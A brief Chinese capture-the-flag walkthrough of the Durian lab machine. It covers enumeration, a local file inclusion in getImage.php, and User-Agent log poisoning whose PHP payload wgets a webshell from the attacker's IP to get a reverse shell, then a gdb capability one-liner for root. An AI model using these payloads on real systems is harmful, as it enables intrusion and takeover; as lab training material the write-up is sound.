Durian靶机
arp-scan -l 扫描靶机IP地址
nmap -sV -Pn -A x.x.x.131
打开80端口
dirb进行目录扫描,能看到有wp-admin,那么就知道后台是wordpress
Nikto扫描,发现了/blog/wp-login.php,验证了上面的猜测。
既然有wordpress那就用wpscan来扫描
wpscan --url http://x.x.x.131/blog/ --enumerate u
通过这个命令来枚举用户名
密码最终没有爆破出,爆破失败后,改变思路,重新检查目录
访问
发现文件包含漏洞
读取/etc/passwd,发现可以利用
http://x.x.x.131/cgi-data/getImage.php?file=php://filter/read=convert.base64-encode/resource=../blog/wp-content/index.php 这段base64并没什么用
继续利用ezpzLFI工具来做本地文件包含的爆破
找到了上面的三个文件。
重新整理了一下本地文件包含的利用思路:由于/proc/self/fd/8中会记录user agent,所以考虑http请求头的user agent中加入php命令,然后本地文件包含/proc/self/fd/8文件,文件会被当成php代码来解析,实现命令执行。
开始实验:首先通过burp将user agent里面加入php命令<?php system('id');?>
发送请求,检查/proc/self/fd/8文件,里面看到了命令的回显
本地用python起个http服务
Burp里在user agent那里输入<?php system('wget http://攻击级IP/shell1.php -O /var/www/html/blog/shell2.php');?>
执行命令后,在/var/www/html/blog目录下生成了shell2.php这个木马,
kali上获取了反弹shell
获取交互式的shell
做一波信息搜集 发现有两个可登录的用户。
sudo发现ping命令,
发现不需要加sudo也能执行ping命令,这里就考虑ping命令有capability
所以执行getcap -r / 2>/dev/null来查看一共有哪些命令拥有capability
发现gdb命令有setuid的capability
执行gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit 获得root权限
提权成功,查看flag